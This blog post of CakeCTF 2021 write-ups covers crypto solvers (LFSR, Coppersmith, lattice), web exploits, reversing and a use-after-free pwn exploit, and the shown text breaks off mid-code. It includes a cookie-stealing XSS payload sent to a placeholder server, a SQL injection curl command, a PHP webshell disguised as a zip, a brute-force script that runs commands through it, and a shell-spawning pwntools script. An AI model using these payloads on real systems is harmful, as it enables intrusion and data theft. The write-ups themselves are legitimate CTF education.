廢文集中區

CakeCTF 2021 WriteUps

發表於
分類於 CTF
中文版
This article is LLM-translated by GPT-4o, so the translation may be inaccurate or complete. If you find any mistake, please let me know.

This time, I participated in CakeCTF 2021 again with a few people from NCtfU. We almost solved all the challenges, missing just one, and secured the fifth place. I solved all the warmup, crypto, and web challenges, and partially solved a pwn challenge.

If the website is down, you can check the challenges here: theoremoon/cakectf-2021-public

  Scoreboard Screenshot

crypto

discrete log

from Crypto.Util.number import getPrime, isPrime, getRandomRange

def getSafePrime(bits):
    while True:
        p = getPrime(bits - 1)
        q = 2*p + 1
        if isPrime(q):
            return q

with open("flag.txt", "rb") as f:
    flag = f.read().strip()

p = getSafePrime(512)
g = getRandomRange(2, p)
r = getRandomRange(2, p)

cs = []
for m in flag:
    cs.append(pow(g, r*m, p))

print(p)
print(g)
print(cs)

This challenge provides several parameters g,r,pg, r, p, with rr being the unknown. It calculates ci=grmimod  pc_i = g^{rm_i} \mod{p} for each character of the flag’s ASCII value mim_i and gives you the result.

Since the flag format is CakeCTF\{[\x20-\x7e]+\}, the first character is definitely C, allowing us to determine grmod  pg^r \mod{p}. Then, since the other characters are within the \x20-\x7e range, we can brute force them one by one.

# fmt: off
p = 10577926960839937947442162797370864980541285292536671603546595533193324977125572190720609448828374782284663027664894813711243894320697692129630847705557539
g = 9947724104164898694903023872711663896409433873530762235716749042436185304062119886390357927264325412355223958396239523671881766361219889894069645084522127
cs = []  # too big...
# fmt: on

Z = Zmod(p)
cs = [Z(x) for x in cs]
g = Z(g)
gr = cs[0].nth_root(ord("C"))
assert gr ^ ord("a") == cs[1]
for x in cs:
    for c in range(256):
        if x == gr ^ c:
            break
    print(chr(c), end="")

improvisation

import random

def LFSR():
    r = random.randrange(1 << 64)
    while True:
        yield r & 1
        b = (r & 1) ^\
            ((r & 2) >> 1) ^\
            ((r & 8) >> 3) ^\
            ((r & 16) >> 4)
        r = (r >> 1) | (b << 63)

if __name__ == '__main__':
    with open("flag.txt", "rb") as f:
        flag = f.read()
        assert flag.startswith(b'CakeCTF{')
        m = int.from_bytes(flag, 'little')

    lfsr = LFSR()
    c = 0
    while m:
        c = (c << 1) | ((m & 1) ^ next(lfsr))
        m >>= 1

    print(hex(c))

This challenge involves a known polynomial LFSR of length 64. It XORs the generated bits with the flag and outputs the result.

Using the flag format CakeCTF{, we can obtain the first 64 bits of the key stream, and then derive the subsequent states to decrypt the flag.

A small detail to note is that the ciphertext c is directly concatenated using the | operator, so if the previous output is 0, it might cause issues with bin(c). This can be resolved by padding a few zeros.

from sage.all import *

c = 0x58566F59979E98E5F2F3ECEA26CFB0319BC9186E206D6B33E933F3508E39E41BB771E4AF053
cs = [0] + list(map(int, bin(c)[2:]))  # manually pad leading zeros
ps = list(map(int, bin(int.from_bytes(b"CakeCTF{", "little"))[2:][::-1])) + [0]
ss = [x ^ y for x, y in zip(cs, ps)]

P = PolynomialRing(GF(2), "x")
x = P.gen()
poly = 1 + x + x ** 3 + x ** 4 + x ** 64
M = companion_matrix(poly, "bottom")
stream = list(ss)
stream += list(map(int, M ** 64 * vector(ss)))
stream += list(map(int, M ** 128 * vector(ss)))
stream += list(map(int, M ** 192 * vector(ss)))
stream += list(map(int, M ** 256 * vector(ss)))
print("stream", stream)
print(
    int("".join([str(a ^ b) for a, b in zip(cs, stream)][::-1]), 2).to_bytes(
        40, "little"
    )
)

Together as one

from Crypto.Util.number import getStrongPrime, bytes_to_long

p = getStrongPrime(512)
q = getStrongPrime(512)
r = getStrongPrime(512)

n = p*q*r

x = pow(p + q, r, n)
y = pow(p + q*r, r, n)

m = bytes_to_long(open("./flag.txt", "rb").read())
assert m.bit_length() > 512
c = pow(m, 0x10001, n)

print(f"{n = :#x}")
print(f"{c = :#x}")
print(f"{x = :#x}")
print(f"{y = :#x}")

Given n=pqrn = pqr, since m.bit_length() > 512, we need to fully factorize it to obtain the flag. We know two values x≡(p+q)r(modn)x \equiv (p+q)^r \pmod{n} and y≡(p+qr)r(modn)y \equiv (p+qr)^r \pmod{n}.

One method to solve this is to note that x≡y≡pr(modq)x \equiv y \equiv p^r \pmod{q}, so q=gcd⁡(x−y,n)q = \gcd(x-y, n). Using Fermat’s Little Theorem, we know x≡p+q(modr)x \equiv p+q \pmod{r} and y≡p+qr(modr)y \equiv p+qr \pmod{r}, so y−x+q≡qr−q+q≡0(modr)y-x+q \equiv qr-q+q \equiv 0 \pmod{r}, thus r=gcd⁡(y−x+q,n)r = \gcd(y-x+q, n). Actually, we need to divide by qq, since q∣(y−x+q)q|(y-x+q) also holds, so gcd⁡(y−x+q,n)=qr\gcd(y-x+q, n) = qr.

from Crypto.Util.number import long_to_bytes

n = 0x94CF51734887AA44204E7D64ED2B30763FD0715060AFD5D15B697C940C272422B4CA765485F7C3116DB1166AD1FEC4CD4D82D3B32E881ED49F52EFE31A226B307D60F2FB375400F9A19B0142E7D88D6118E02971724186E1EF13E586C744240B3EE7D6A105B82A3E3126AE364550E9B3A19D6B012083B8633AD428CF75CB200FE31121E6BF095418C5ED3819225910BC69EBE2E6A219638B830DF45015C75CA9A507DC924718A540CFB5D2DF09FF28D7CF8FEB0E5E69A3D71057004132BB3E79
c = 0x8C0450DFF19D853673D51CB2EAB4CB84FFA7FA3EBA900C1E96ADBB2CCB6708320233E18B2D6CE487DBFB88F15B0CCAC5829818CA49AC8AB08A1E5B94E27550798E6D1AAE48812B784144DC7BED55CEC6283042A296E25490990E07B8FF51B1A500B6D8C39AF1C07C1EF57CA2B3774A4D38F6006A64F37133915F9AFCBD08394E74C616FABD77D79CD9559A3EEE41F2507556637BAC6145BFBA22319F424F07A33221A8FB9C89DC3C68E188230ED36E95A6BAF977CA58D2036D136EBD55BD45D3
x = 0x38F530204337208B5BBFADD20FCD4416D8BE1563C338C0BA464ABBCD3699794C0C8E0B6F17F41BC5E42DD5F900D3644B34F4530157CC8C026894F97F2FEB5475E58CDF9125D96BDAE25BBF6AFDF58129C8E1C70A5B47F2DBE3F89E851C124BED2B40F6E8EC8D6D3FF941FA5DCDE893C661059FFFDB5086863E35228BC79B1BA830555C3168C88A53E3C7EEE17312C401914442D4E04C5014AA484994D0C680980F53AEEF01C9C246EC76DCDF8816036B77629610709CCC533CBD09A818146060
y = 0x607E4383EE2F5BB068A4FB51205396C784A56E971CEE8F2B2C79FBF1CE4161A4031AA10DF22723005024EF592764C4391F31CA35137221A7431C68033B5F92AB5BF9C660E5CDA375FAF4F4E734CB8745D0B7B056B2D9BA38A733FAE118F07CEB1AF4FBB2818B6CF4394F166F3790A9AD39EFB27A970399ED1FC04B96A282681109825C96E3784F1EE3AC1A787F28DD7C74CC6CCCECFFB0CE534E1ED7192CCC2BC3F822AD16DC42608D6FE1DE447E4ED9474D1113BD0514D1F90B92F04769059

q = gcd(n, x - y)
r = gcd(y - x + q, n) // q
p = n // (r * q)
assert p * q * r == n

d = inverse_mod(65537, (p - 1) * (q - 1) * (r - 1))
m = power_mod(c, d, n)
print(long_to_bytes(m))

Another method, which was my initial approach, is more cumbersome. First, observe that x≡(p+q)r≡pr+qr(modn)x \equiv (p+q)^r \equiv p^r+q^r \pmod{n}. This can be proven by separately modding p,q,rp, q, r. Similarly, we know y≡(p+qr)r≡pr+qrrr(modn)y \equiv (p+qr)^r \equiv p^r+q^r r^r \pmod{n}, thus y−x≡qr(rr−1)≡kqr(modn)y-x \equiv q^r(r^r-1) \equiv kq^r \pmod{n}. Therefore, y−x=kqr+spqr=q(kqr−1+spr)y-x = kq^r + spqr = q(kq^{r-1} + spr), so q=gcd⁡(y−x,n)q = \gcd(y-x, n). The part for rr is the same as before.

I can’t believe I didn’t think of separately modding p,q,rp, q, r initially…

Matrix Cipher

The challenge generates a random integer matrix BB, with each element having more than 70 bits. It also generates a random row vector ee, with each element between -50 and 50. The encryption method converts the flag into a vector mm, calculates c=mB+ec = mB + e as the ciphertext. We only know BB and cc.

Notice that mBmB is just a linear combination of each row vector of BB, i.e., mBmB is a vector in the space spanned by the basis BB. Since ee is small, c=mB+ec = mB + e is very close to mBmB. This suggests using the Babai Nearest Plane Algorithm to approximate cc and find mBmB, then decrypt mm.

with open("output.txt") as f:
    B = Matrix(ZZ, eval(f.readline()))
    c = vector(ZZ, eval(f.readline()))


def Babai_closest_vector(B, target):
    # Babai's Nearest Plane algorithm
    M = B.LLL()
    G = M.gram_schmidt()[0]
    small = target
    for _ in range(1):
        for i in reversed(range(M.nrows())):
            c = ((small * G[i]) / (G[i] * G[i])).round()
            small -= M[i] * c
    return target - small


m = B.solve_left(Babai_closest_vector(B, c))
print(bytes(m))

Party Ticket

from Crypto.Util.number import getPrime, isPrime
from hashlib import sha512
import random

def getSafePrime(bits):
    while True:
        p = getPrime(bits - 1)
        q = 2*p + 1
        if isPrime(q):
            return q

def make_inivitation():
    with open("flag.txt", "rb") as f:
        flag = f.read().strip()
        m = int.from_bytes(flag + sha512(flag).digest(), "big")

    p = getSafePrime(512)
    q = getSafePrime(512)

    n = p * q
    assert m < n

    b = random.randint(2, n-1)

    c = m*(m + b) % n

    return c, n, b

# print("Dear Moe:")
print(make_inivitation())

# print("Dear Lulu:")
print(make_inivitation())

The challenge provides two sets of (ci,ni,bi)(c_i, n_i, b_i), both satisfying ci≡mi2+bimi(modni)c_i \equiv m_i^2 + b_i m_i \pmod{n_i}. From the Rabin cryptosystem, we know that calculating the square root modulo nn requires factorizing nn, so directly solving the polynomial is not feasible.

The first step is to rearrange the equation:

m12≡c1−b1m1(modn1)m22≡c2−b2m2(modn2)\begin{aligned} m_1^2 &\equiv c_1-b_1 m_1 \pmod{n_1} \\ m_2^2 &\equiv c_2-b_2 m_2 \pmod{n_2} \end{aligned}

This immediately suggests Hastad’s Broadcast Attack, using CRT to break RSA with a low public exponent. So, let’s check the CRT formula for two moduli: Chinese remainder theorem > Case of two moduli

For a system like this:

x≡a1(modn1)x≡a2(modn2)\begin{aligned} x \equiv a_1 \pmod{n_1} \\ x \equiv a_2 \pmod{n_2} \end{aligned}

where n1,n2n_1, n_2 satisfy:

m1n1+m2n2=1m_1 n_1 + m_2 n_2 = 1

then:

x≡a1m2n2+a2m1n1(modn1n2)x \equiv a_1 m_2 n_2 + a_2 m_1 n_1 \pmod{n_1 n_2}

Applying the above formula and rearranging, we get a quadratic polynomial f(x)f(x) satisfying f(m)≡0(modn1n2)f(m) \equiv 0 \pmod{n_1 n_2}. Since m<(n1n2)1/2m < (n_1 n_2)^{1/2}, we can use Coppersmith’s method to find the small roots.

from Crypto.Util.number import *

c1, n1, b1 = (
    39795129165179782072948669478321161038899681479625871173358302171683237835893840832234290438594216818679179705997157281783088604033668784734122669285858548434085304860234391595875496651283661871404229929931914526131264445207417648044425803563540967051469010787678249371332908670932659894542284165107881074924,
    68660909070969737297724508988762852362244900989155650221801858809739761710736551570690881564899840391495223451995828852734931447471673160591368686788574452119089378643644806717315577499800198973149266893774763827678504269587808830214845193664196824803341291352363645741122863749136102317353277712778211746921,
    67178092889486032966910239547294187275937064814538687370261392801988475286892301409412576388719256715674626198440678559254835210118951299316974691924547702661863023685159440234566417895869627139518545768653628797985530216197348765809818845561978683799881440977147882485209500531050870266487696442421879139684,
)
c2, n2, b2 = (
    36129665029719417090875571200754697953719279663088594567085283528953872388969769307850818115587391335775050603174937738300553500364215284033587524409615295754037689856216651222399084259820740358670434163638881570227399889906282981752001884272665493024728725562843386437393437830876306729318240313971929190505,
    126991469439266064182253640334143646787359600249751079940543800712902350262198976007776974846490305764455811952233960442940522062124810837879374503257253974693717431704743426838043079713490230725414862073192582640938262060331106418061373056529919988728695827648357260941906124164026078519494251443409651992021,
    126361241889724771204194948532709880824648737216913346245821320121024754608436799993819209968301950594061546010811840952941646399799787914278677074393432618677546231281655894048478786406241444001324129430720968342426822797458373897535424257744221083876893507563751916046235091732419653547738101160488559383290,
)

g, m1, m2 = xgcd(n1, n2)

P = PolynomialRing(Zmod(n1 * n2), "x", 1)
x = P.gen()
# CRT special case: https://en.wikipedia.org/wiki/Chinese_remainder_theorem#Case_of_two_moduli
f = x * x - (((c1 - x * b1)) * m2 * n2 + (c2 - x * b2) * m1 * n1)
load("~/workspace/coppersmith.sage")  # https://github.com/defund/coppersmith
m = small_roots(f, (2 ** 900,), m=4)[0][0]
print(long_to_bytes(m))

# Or using sage builtin small_roots (need to tweat some parameters...):
P = PolynomialRing(Zmod(n1 * n2), "x")
x = P.gen()
f = x * x - (((c1 - x * b1)) * m2 * n2 + (c2 - x * b2) * m1 * n1)
m = f.small_roots(X=2 ** 900, beta=0.5, epsilon=0.04)[0]
print(long_to_bytes(m))

Later, I checked the author’s reflection and found that this challenge was inspired by Plaid CTF 2017’s multicast. Reading the writeup, I learned a more general approach for this situation.

Assume we have kk equations:

f1(m)≡c1(modn1)f2(m)≡c2(modn2)⋮fk(m)≡ck(modnk)\begin{gathered} f_1(m) \equiv c_1 \pmod{n_1} \\ f_2(m) \equiv c_2 \pmod{n_2} \\ \vdots \\ f_k(m) \equiv c_k \pmod{n_k} \\ \end{gathered}

Using CRT, calculate the coefficients TiT_i such that:

Ti≡1(modni)Ti≡0(modnj≠i)\begin{aligned} T_i &\equiv 1 \pmod{n_i} \\ T_i &\equiv 0 \pmod{n_{j \neq i}} \end{aligned}

This establishes a polynomial:

f(x)=∑i=1kTi(fi(x)−ci)f(x)=\sum_{i=1}^{k} T_i (f_i(x) - c_i)

We know it satisfies:

f(m)≡0(modn1)f(m)≡0(modn2)⋮f(m)≡0(modnk)\begin{gathered} f(m) \equiv 0 \pmod{n_1} \\ f(m) \equiv 0 \pmod{n_2} \\ \vdots \\ f(m) \equiv 0 \pmod{n_k} \end{gathered}

So mm is a root of f(m)≡0(modN)f(m) \equiv 0 \pmod{N}, where N=∏i=1kniN = \prod_{i=1}^{k} n_i.

If m<N1/deg⁡f(x)m < N^{1/\deg{f(x)}}, we can use Coppersmith’s method to find mm. Below is an example using this method:

from Crypto.Util.number import *

c1, n1, b1 = (
    39795129165179782072948669478321161038899681479625871173358302171683237835893840832234290438594216818679179705997157281783088604033668784734122669285858548434085304860234391595875496651283661871404229929931914526131264445207417648044425803563540967051469010787678249371332908670932659894542284165107881074924,
    68660909070969737297724508988762852362244900989155650221801858809739761710736551570690881564899840391495223451995828852734931447471673160591368686788574452119089378643644806717315577499800198973149266893774763827678504269587808830214845193664196824803341291352363645741122863749136102317353277712778211746921,
    67178092889486032966910239547294187275937064814538687370261392801988475286892301409412576388719256715674626198440678559254835210118951299316974691924547702661863023685159440234566417895869627139518545768653628797985530216197348765809818845561978683799881440977147882485209500531050870266487696442421879139684,
)
c2, n2, b2 = (
    36129665029719417090875571200754697953719279663088594567085283528953872388969769307850818115587391335775050603174937738300553500364215284033587524409615295754037689856216651222399084259820740358670434163638881570227399889906282981752001884272665493024728725562843386437393437830876306729318240313971929190505,
    126991469439266064182253640334143646787359600249751079940543800712902350262198976007776974846490305764455811952233960442940522062124810837879374503257253974693717431704743426838043079713490230725414862073192582640938262060331106418061373056529919988728695827648357260941906124164026078519494251443409651992021,
    126361241889724771204194948532709880824648737216913346245821320121024754608436799993819209968301950594061546010811840952941646399799787914278677074393432618677546231281655894048478786406241444001324129430720968342426822797458373897535424257744221083876893507563751916046235091732419653547738101160488559383290,
)

P = PolynomialRing(Zmod(n1 * n2), "x")
x = P.gen()

T1 = crt([1, 0], [n1, n2])
T2 = crt([0, 1], [n1, n2])
ff1 = x ^ 2 + b1 * x - c1
ff2 = x ^ 2 + b2 * x - c2
f = T1 * ff1 + T2 * ff2
m = f.small_roots(X=2 ** 900, beta=0.5, epsilon=0.04)[0]
print(long_to_bytes(m))

web

MofuMofu Diary

This challenge’s webpage stores some image information, including paths, in the cache cookie in JSON format. When visited, it retrieves the data from the cookie, reads the images, base64 encodes them, and displays them on the webpage.

Key part:

<?php
function img2b64($image) {
    return 'data:jpg;base64,'.base64_encode(file_get_contents($image));
}

function get_cached_contents() {
	// ...
        $cache = json_decode($_COOKIE['cache'], true);
        if ($cache['expiry'] <= time()) {

            $expiry = time() + 60*60*24*7;
            for($i = 0; $i < count($cache['data']); $i++) {
                $result = $cache['data'][$i];
                $_SESSION[$result['name']] = img2b64($result['name']);
            }

            $cookie = array('data' => $cache['data'], 'expiry' => $expiry);
            setcookie('cache', json_encode($cookie), $expiry);

        }
	// ...
}
?>

If the cache expires, it reloads the images, so placing the following JSON in the cache cookie allows reading the file:

{"data":[{"name":"/flag.txt","description":"flag"}],"expiry":0}

travelog

This challenge is an XSS type. The webpage allows inserting arbitrary HTML for XSS, but there is a strict CSP blocking it. According to the XSS bot’s source code, the flag is in the bot’s userAgent.

Realizing this, we know that the userAgent can be obtained without XSS. Using <meta> to redirect to our website, we can see the flag in the header:

<meta http-equiv="refresh" content="0; url=http://example.com/" />

travelog again

This challenge is almost the same as the previous one, except the bot’s flag is in the cookie (not HttpOnly).

To solve this, we need to use another feature of the website, JPEG upload:

@app.route('/upload', methods=['POST'])
def upload():
    if 'user_id' not in session:
        abort(404)

    images = request.files.getlist('images[]')
    for f in images:
        with tempfile.NamedTemporaryFile() as t:
            f.save(t.name)
            f.seek(0)
            if imghdr.what(t.name) != 'jpeg':
                abort(400)

    for f in images:
        name = os.path.basename(f.filename)
        if name == '':
            abort(400)
        else:
            f.save(PATH_IMAGE.format(user_id=session['user_id'], name=name))

    return 'OK'

It uses imghdr.what to check if the file format is JPEG and writes the file to the user’s folder with a specified name. The key is that imghdr.what checks JPEG format like this:

def test_jpeg(h, f):
    """JPEG data in JFIF or Exif format"""
    if h[6:10] in (b'JFIF', b'Exif'):
        return 'jpeg'

It only checks if bytes 6 to 9 are JFIF or Exif, so it’s easy to bypass the check and upload any file. To achieve XSS, we can upload either HTML or JS.

Note: Do not use the webpage’s upload interface, as it uses other libraries to check the file format on the frontend. Use curl to upload directly.

With HTML

Uploading HTML is simpler. After uploading, the file will be at /uploads/<session_id>/abc.html. When you visit it, you’ll find it has no CSP. So, using the previous method, redirect the bot to the uploaded HTML page, and the JS on the page will send the cookie to your server.

abcdefExif
<script>
xhr=new XMLHttpRequest;xhr.open("GET","http://YOUR_SERVER/report?flag="+encodeURIComponent(document.cookie),false);xhr.send()</script>

Note: When redirecting, remember to change the domain to challenge:8080, as the bot’s cookie is set on challenge:8080…

With JS

Uploading JS is slightly more complicated due to CSP:

default-src 'none';script-src 'nonce-uV3F8V8jlWugqMu7ilLhDg==' 'unsafe-inline';style-src 'nonce-uV3F8V8jlWugqMu7ilLhDg==' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/;frame-src https://www.google.com/recaptcha/ https://recaptcha.google.com/recaptcha/;img-src 'self';connect-src http: https:;base-uri 'self'

The script part requires a nonce. Looking at the page, we see:

<script nonce="eYOTqFN1TK2/W7Yin6hHNg==" src="../../show_utils.js"></script>

So, if we control it with <base>, we can change ../../show_utils.js to /uploads/<session_id>/show_utils.js, achieving XSS.

<base href="/uploads/<session_id>/c87/63/">

Extra

Even if CSP disallows <base> and the uploaded HTML has CSP, XSS is still possible.

The key is the difference in path parsing between the browser and nginx. For the browser, /abc/..%2f is /abc/..%2f, but for nginx, it’s /abc/../ -> /.

So, using a URL like this:

http://web.cakectf.com:8011/uploads/<session_id>/..%2f..%2fpost/<session_id>/<post_id>

The server thinks it’s /post/<session_id>/<post_id>, but the browser combines it with ../../show_utils.js to become /uploads/<session_id>/show_utils.js, achieving XSS.

However, this doesn’t work for this challenge ==

Because it strictly checks if the bot’s visiting URL matches a certain format, this method is blocked. But for a revenge challenge, you can add CSP to the uploaded files, forbid <base>, and relax the bot’s restrictions.

My Nyamber

This challenge is a website written in node.js, allowing you to query an sqlite db, with the flag inside.

The key function is:

async function queryNekoByName(neko_name, callback) {
	let filter = /(\'|\\|\s)/g
	let result = []
	if (typeof neko_name === 'string') {
		/* Process single query */
		if (filter.exec(neko_name) === null) {
			try {
				let row = await querySqlStatement(`SELECT * FROM neko WHERE name='${neko_name}'`)
				if (row) result.push(row)
			} catch {}
		}
	} else {
		/* Process multiple queries */
		for (let name of neko_name) {
			if (filter.exec(name.toString()) === null) {
				try {
                    console.log('QUERY', `SELECT * FROM neko WHERE name='${name}'`)
					let row = await querySqlStatement(`SELECT * FROM neko WHERE name='${name}'`)
					if (row) result.push(row)
				} catch {}
			}
		}
	}
	callback(result)
}

neko_name can be a string or an array, and it uses regex to check for /(\'|\\|\s)/g characters, disallowing queries if found. The goal is to bypass the filter and achieve SQL injection.

Initially, it seems impossible, as the parameters are properly wrapped in single quotes, making it hard to bypass with those characters forbidden.

The key to this challenge is not SQL but the nature of JavaScript global regex:

rg = /a/g
console.log(rg.exec('bbbbbbbbbba') === null)  // false
console.log(rg.exec('a') === null)  // true
console.log(rg.exec('a') === null)  // false

Why? Because in JS, regex has lastIndex. When a global regex finds a match using exec() or test(), it updates lastIndex to the last matched index. The next search starts from lastIndex.

So, placing a long string in array index 0, matching the forbidden character at the end, and putting the SQL injection payload in index 1 bypasses the filter.

curl "http://web.cakectf.com:8002/api/neko?name=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%20&name='%20UNION%20SELECT%201,2,3,flag%20FROM%20FLAG%20WHERE%20'1'='1"

ziperatops

This challenge’s PHP website allows uploading zip files and displays the file list inside the zip.

The upload function is:

function setup($name) {
    /* Create a working directory */
    $dname = sha1(uniqid());
    @mkdir("temp/$dname");

    /* Check if files are uploaded */
    if (empty($_FILES[$name]) || !is_array($_FILES[$name]['name']))
        return array($dname, null);

    /* Validation */
    for ($i = 0; $i < count($_FILES[$name]['name']); $i++) {
        $tmpfile = $_FILES[$name]['tmp_name'][$i];
        $filename = $_FILES[$name]['name'][$i];
        if (!is_uploaded_file($tmpfile))
            continue;

        /* Check the uploaded zip file */
        $zip = new ZipArchive;
        if ($zip->open($tmpfile) !== TRUE)
            return array($dname, "Invalid file format");

        /* Check filename */
        if (preg_match('/^[-_a-zA-Z0-9\.]+$/', $filename, $result) !== 1)
            return array($dname, "Invalid file name: $filename");

        /* Detect hacking attempt (This is not necessary but just in case) */
        if (strstr($filename, "..") !== FALSE)
            return array($dname, "Do not include '..' in file name");

        /* Check extension */
        if (preg_match('/^.+\.zip/', $filename, $result) !== 1)
            return array($dname, "Invalid extension (Only .zip is allowed)");

        /* Move the files */
        if (@move_uploaded_file($tmpfile, "temp/$dname/$filename") !== TRUE)
            return array($dname, "Failed to upload the file: $dname/$filename");
    }

    return array($dname, null);
}

The folder name is randomly generated using sha1(uniqid()). It checks if the file name matches certain rules, then uses move_uploaded_file to save the file to the specified location.

The setup function is called here:

function ziperatops() {
    /* Upload files */
    list($dname, $err) = setup('zipfile');
    if ($err) {
        cleanup($dname);
        return array(null, $err);
    }

    /* List files in the zip archives */
    $results = array();
    foreach (glob("temp/$dname/*") as $path) {
        $zip = new ZipArchive;
        $zip->open($path);
        for ($i = 0; $i < $zip->count(); $i++) {
            array_push($results, $zip->getNameIndex($i));
        }
    }

    /* Cleanup */
    cleanup($dname);
    return array($results, null);
}
// ...
function cleanup($dname) {
    foreach (glob("temp/$dname/*") as $file) {
        @unlink($file);
    }
    @rmdir("temp/$dname");
}

It uses glob to scan all files in the folder and tries to unzip them, finally using cleanup to delete all files using glob.

The first vulnerability is in the .zip suffix check, allowing shell.zip.php file names. The second vulnerability is in cleanup, where glob’s * doesn’t include hidden files. So, uploading a .shell.zip.php file leaves it there, not deleted.

Ignoring how to find the folder name $dname, we need to create a file that’s both a webshell and a valid zip file. This can be easily done using the zip tool:

(echo '<?php\nsystem($_GET["cmd"]);?>' && cat any.zip) > shell.zip
zip -F shell.zip --out .shell.zip.php

This way, the file starts with the necessary information and can be unzipped correctly.

Intended Solution

The intended solution uses these lines in the setup function:

        if (@move_uploaded_file($tmpfile, "temp/$dname/$filename") !== TRUE)
            return array($dname, "Failed to upload the file: $dname/$filename");

When moving fails, it shows $dname in the error message, revealing the folder location. Triggering the error involves exploiting the fact that Linux has a path length limit. Just provide a long string for $filename.

Upload two files, the first being a normal .shell.zip.php, and the second being any file with a long name.

curl "http://web.cakectf.com:8004/" -F "zipfile[]=@shell.fixed.zip; filename=.shell.zip.php" -F "zipfile[]=@shell.fixed.zip; filename=a.zip.phpaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"

After uploading, the error message reveals $dname, allowing you to visit http://web.cakectf.com:8004/temp/$dname/.shell.zip.php?pwd=id to execute your webshell and get the flag.

Unintended Solution

My initial solution exploits uniqid generating based on the timestamp by default:

Returns timestamp based unique identifier as a string.

Testing shows that uniqid values generated in a short time are very close. Checking the source code confirms it uses the timestamp.

This means we can brute force sha1(uniqid()) values based on the timestamp to find $dname:

import httpx
from subprocess import check_output
from hashlib import sha1
import asyncio

client = httpx.Client()

# url = "http://localhost:8000/"
url = "http://web.cakectf.com:8004/"


def submit():
    # zip generation:
    # (echo '<?php\nsystem($_GET["cmd"]);?>' && cat text.zip) > shell.zip
    # zip -F shell.zip --out .shell.zip.php
    with open(".shell.zip.php", "rb") as f:
        r = client.post(url, files={"zipfile[]": f})
        print(r.text)


submit()
uid = int(check_output(["php7", "--run", "echo uniqid();"]).decode(), 16)
print(f"{uid:13x}")


async def check(h, client):
    u = url + f"temp/{h}/.shell.zip.php"
    try:
        r = await client.get(u, params={"cmd": "cat /etc/passwd"})
    except httpx.ConnectTimeout as ex:
        return await check(h, client)
    if "root" in r.text:
        print(r.text)
        print(u)
        return True
    return False


async def brute():
    async with httpx.AsyncClient() as client:
        hs = [
            sha1(f"{i:13x}".encode()).hexdigest()
            for i in range(uid - 100000, uid + 1000)
        ]
        n = 500
        for i in range(0, len(hs), n):
            print(i)
            results = await asyncio.gather(*[check(h, client) for h in hs[i : i + n]])
            if any(results):
                break


asyncio.get_event_loop().run_until_complete(brute())

Running this locally takes a few minutes. For remote, I used a VPS in Japan, running it for about 15 minutes, making around 50,000 requests to successfully brute force the webshell location.

reversing

nostrings

Opening IDA, we see it’s a flag checker with the following logic:

char s[100];
scanf("%58s", s);
int good = 1;
for (int i = 0; i <= 57; i++) {
	good *= data[127 * s[i] + i] == s[i];
}
if (good) {
	// success
}

The data is a global array.

My solution is to use gdb to dump the process memory, then write a Python script to brute force according to the logic:

with open("mem.bin", "rb") as f:
    # gdb: dump binary memory mem.bin 0x0000555555554000 0x0000555555560000
    ar = f.read()[0x4020:]

for i in range(58):
    for x in range(32, 127):
        if ar[127 * x + i] == x:
            print(chr(x), end="")

pwn

UAF4b

This challenge provides an nc service with some instructions:

The challenge has a COWSAY struct:

typedef struct {
  void (*fn_dialogue)(char*);
  char *message;
} COWSAY;

Initially, it is set to cowsay:

COWSAY *cowsay = (COWSAY*)malloc(sizeof(COWSAY));

You can perform four operations:

  1. cowsay->fn_dialog(cowsay->message);
  2. cowsay->message = malloc(17); scanf("%16s", cowsay->message);
  3. free(cowsay); (limited to once)
  4. Print the heap structure

Finally, it provides the system address.

The challenge is a UAF, so the solution is simple. Using sizeof(COWSAY) == 16 (64 bits), and since the minimum size for both fastbin and tcache is 0x20, free(cowsay) followed by malloc(17) returns the same chunk.

So, after 3 followed by 2, scanf can overwrite fn_dialogue. Writing system there, then malloc a new chunk to write /bin/sh, and using 1 to execute results in system("/bin/sh").

from pwn import *

io = remote("pwn.cakectf.com", 9001)
io.recvuntil(b"<system> = ")
system = int(io.recvlineS().strip(), 16)
print(hex(system))
io.sendlineafter(b"> ", b"3")
io.sendlineafter(b"> ", b"2")
io.sendlineafter(b"Message: ", p64(system))
io.sendlineafter(b"> ", b"2")
io.sendlineafter(b"Message: ", b"/bin/sh\0")
io.sendlineafter(b"> ", b"1")
io.interactive()

*Not So Tiger

This challenge was partially solved by u1f383, who found a crucial vulnerability but didn’t complete it. I continued from there to finish the challenge.

The challenge is as follows:

#include <iostream>
#include <variant>
#include <iomanip>
#include <cstring>

using namespace std;

class Bengal {
public:
  Bengal(long _age, const char *_name) { set(_age, _name); }
  void set(long _age, const char *_name) {
    age = _age;
    name = strdup(_name);
  }
  char *name;
  long age;
};

class Ocicat {
public:
  Ocicat(long _age, const char *_name) { set(_age, _name); }
  void set(long _age, const char *_name) {
    age = _age;
    strcpy(name, _name);
  }
  char name[0x20];
  long age;
};

class Ocelot {
public:
  Ocelot(long _age, const char *_name) { set(_age, _name); }
  void set(long _age, const char *_name) {
    age = _age;
    strcpy(name, _name);
  }
  long age;
  char name[0x20];
};

class Savannah {
public:
  Savannah(long _age, const char *_name) { set(_age, _name); }
  void set(long _age, const char *_name) {
    age = _age;
    name = strdup(_name);
  }
  long age;
  char *name;
};

int main()
{
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  variant<Bengal, Ocicat, Ocelot, Savannah> cat = Bengal(97, "Nyanchu");

  while (cin.good()) {
    int choice;
    cout << "1. New cat" << endl
         << "2. Get cat" << endl
         << "3. Set cat" << endl
         << ">> ";
    cin >> choice;

    switch (choice) {
    case 1: { /* New cat */
      char name[0x20];
      long age;
      int type;

      cout << "Species [0=Bengal Cat / 1=Ocicat / 2=Ocelot / 3=Savannah Cat]: ";
      cin >> type;
      cout << "Age: ";
      cin >> age;
      cout << "Name: ";
      cin >> name;

      switch (type) {
      case 0: cat = Bengal(age, name) ; break;
      case 1: cat = Ocicat(age, name) ; break;
